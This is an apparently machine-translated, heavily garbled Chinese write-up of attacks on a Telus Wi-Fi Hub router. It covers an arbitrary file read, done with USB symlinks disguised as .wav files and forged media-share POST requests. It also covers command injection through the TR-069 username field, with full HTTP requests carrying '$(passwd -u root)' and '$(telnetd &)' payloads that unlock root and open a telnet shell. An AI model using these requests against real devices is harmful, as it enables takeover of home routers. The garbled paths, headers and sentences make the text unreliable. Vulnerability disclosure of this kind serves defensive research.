特拉斯Wi-Fi枢纽多易用性

TelusWi-Fi中心(PRV65B444A-S-TS)3.00.20版易受认证任意文件阅读拥有物理访问设备认证用户可编程并连接专用USB驱动器设备,并编译数列设备网络接口请求数列,从设备读取任意文件

实际访问设备认证用户可读取设备任意文件,创建USB设备专用文件符号链接,并连接TelusWiFi枢纽USB设备

微弱风险不高,但实用工具从Teluswifi设备读取本地文件,而终端用户通常无法访问举例说,它用于从设备获取/sr/sbin/a

利用这个问题需要多步处理,所以没有离散单价po采取了下列步骤:

1)格式化新USB驱动测试期间我们格式化驱动

2) 创建符号链接到期望文件,命名为.wav文件

在此例中,测试期间,我们创建了连接/usr/sbin/

命名为.wav文件,因为媒体服务器不会试图跟踪symlink/service文件

3)同时认证Teluswifihub免选USB媒体服务器设置中的“分享全部磁盘”。需要分享两个文件夹

3a优先通过操纵默认请求分享/sr/

3b.第二位保存默认共享文件夹 /tm/media/

4) 新建共享文件夹并设设置,拦截请求保存共享文件夹设置并编辑参数,以便共享文件夹路径指向/usr//代之以/tm/media/

4a首项请求看起来类似, 保证共享文件夹( 即85204000100参数)%2fusr

POST/aply_abstrict.cgi HTTP/1.1
宿主:192.168.1.254
Cookie:弹出=1SID=3227962981701022755145059489405929628938009301597313811979011735!sel_menu=group_4!defpg=usb_media_edit.htm!sel_tabmenu=idx_53
内容链式166
缓存控制:最大值=0
ec-Ch-Ua:chromium;v=91
sec-Ch-Ua-mobile:
升级无保障请求:1
出处:https://192.168.1.254
Content-Type: application/x-www-form-urlencoded
Mozilla/5.0win64苹果WebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
扩展点:同源
sec-Ferch-Mode:导航
Sec-Ferch-user:
Sec-Ferch-Dest:iframe
Referer: https://192.168.1.254/usb_media_edit.htm?t=1625669939385
接受编码:gzi
Accept-Language: en-US,en;q=0.9
连接:关闭

action=ui_usb_mediaserver&httoken=503916783&submit_button=usb_media.htm&852036000000=1&852042001000=1&852039001000=the_usr_folder&852040001000=%2Fusr&852044001000=APV

4b.第二项请求将仅仅是分享usb设备根目录,它看起来是这样的(对USB设备卷命名为NETHING)

POST/aply_abstrict.cgi HTTP/1.1
宿主:192.168.1.254
Cookie:弹出=1SID=3227962981701022755145059489405929628938009301597313811979011735!sel_menu=group_4!defpg=usb_media_edit.htm!sel_tabmenu=idx_53
内容链度:196
缓存控制:最大值=0
ec-Ch-Ua:chromium;v=91
sec-Ch-Ua-mobile:
升级无保障请求:1
出处:https://192.168.1.254
Content-Type: application/x-www-form-urlencoded
Mozilla/5.0win64苹果WebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
扩展点:同源
sec-Ferch-Mode:导航
Sec-Ferch-user:
Sec-Ferch-Dest:iframe
Referer: https://192.168.1.254/usb_media_edit.htm?t=1625670037516
接受编码:gzi
Accept-Language: en-US,en;q=0.9
连接:关闭

action=ui_usb_mediaserver&httoken=1314025998&submit_button=usb_media.htm&852036000000=1&852042001000=1&852039001000=the_usb_drive&852040001000=%2Ftmp%2Fmedia%2FBMKT-CELRUN-NOTHING&852044001000=APV

5) 共享两个文件夹后,便有可能连接UPnP服务器并下载 httpd.wav,该服务器将实际包含/sr/sbin/使用VLC媒体播放器连接网站Umd.wav,即 http://192.168.1.254:8200/MediaTrojects/108.wav关联文件数将改变不同图例/不同设备

108.wav二进制,下载后可重命名为httpd分析像Ghidra这样的软件,以进一步识别网络接口中的更多漏洞

snprintf(acStack1192,0x400,"tr69_trigger setvalue Device.ManagementServer.Username=%s", tr69_username);
system(acStack1192);

PST/js/.%2ftr69cmd.cgi HTTP/1.1
宿主:192.168.1.254
Cookie:弹出=1defpg=tel_call_list.htm!SID=2619653444968050681093056696315576631007695501781801308167720277!sel_tabmenu=idx_1!sel_menu=group_0
内容链度205
缓存控制:最大值=0
ec-Ch-Ua:chromium;v=91
sec-Ch-Ua-mobile:
升级无保障请求:1
出处:https://192.168.1.254
Content-Type: application/x-www-form-urlencoded
Mozilla/5.0win64苹果WebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
扩展点:同源
sec-Ferch-Mode:导航
Sec-Ferch-user:
Sec-Ferch-Dest:iframe
Referer: https://192.168.1.254/tr69.htm
接受编码:gzi
Accept-Language: en-US,en;q=0.9
连接:关闭


httoken=787046719&tr69_enable=1&tr69_url=https%3A%2F%2Fhdm.telus.com&tr69_username=%24%28passwd+-u+root%29&tr69_password=&tr69_mac_prefix=507E5D&tr69_periodInform=1&tr69_PIInterval=86400

PST/js/.%2ftr69cmd.cgi HTTP/1.1
宿主:192.168.1.254
Cookie:弹出=1defpg=tel_call_list.htm!SID=3855262964125098823963634631743348066372904405587005389842148492!sel_tabmenu=idx_1!sel_menu=group_0
内容链度:203
缓存控制:最大值=0
sec-Ch-Ua:非A;Brand;v=99,chromium;v=90
sec-Ch-Ua-mobile:
升级无保障请求:1
出处:https://192.168.1.254
Content-Type: application/x-www-form-urlencoded
Mozilla/5.0win64苹果WebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
扩展点:同源
sec-Ferch-Mode:导航
Sec-Ferch-user:
Sec-Ferch-Dest:iframe
Referer: https://192.168.1.254/tr69.htm?t=1623948576849
接受编码:gzi
Accept-Language: en-US,en;q=0.9
连接:关闭

httoken=1302717927&tr69_enable=1&tr69_url=https%3A%2F%2Fhdm.telus.com&tr69_username=%24%28telnetd+%26%29&tr69_password=&tr69_mac_prefix=507E5D&tr69_periodInform=1&tr69_PIInterval=86400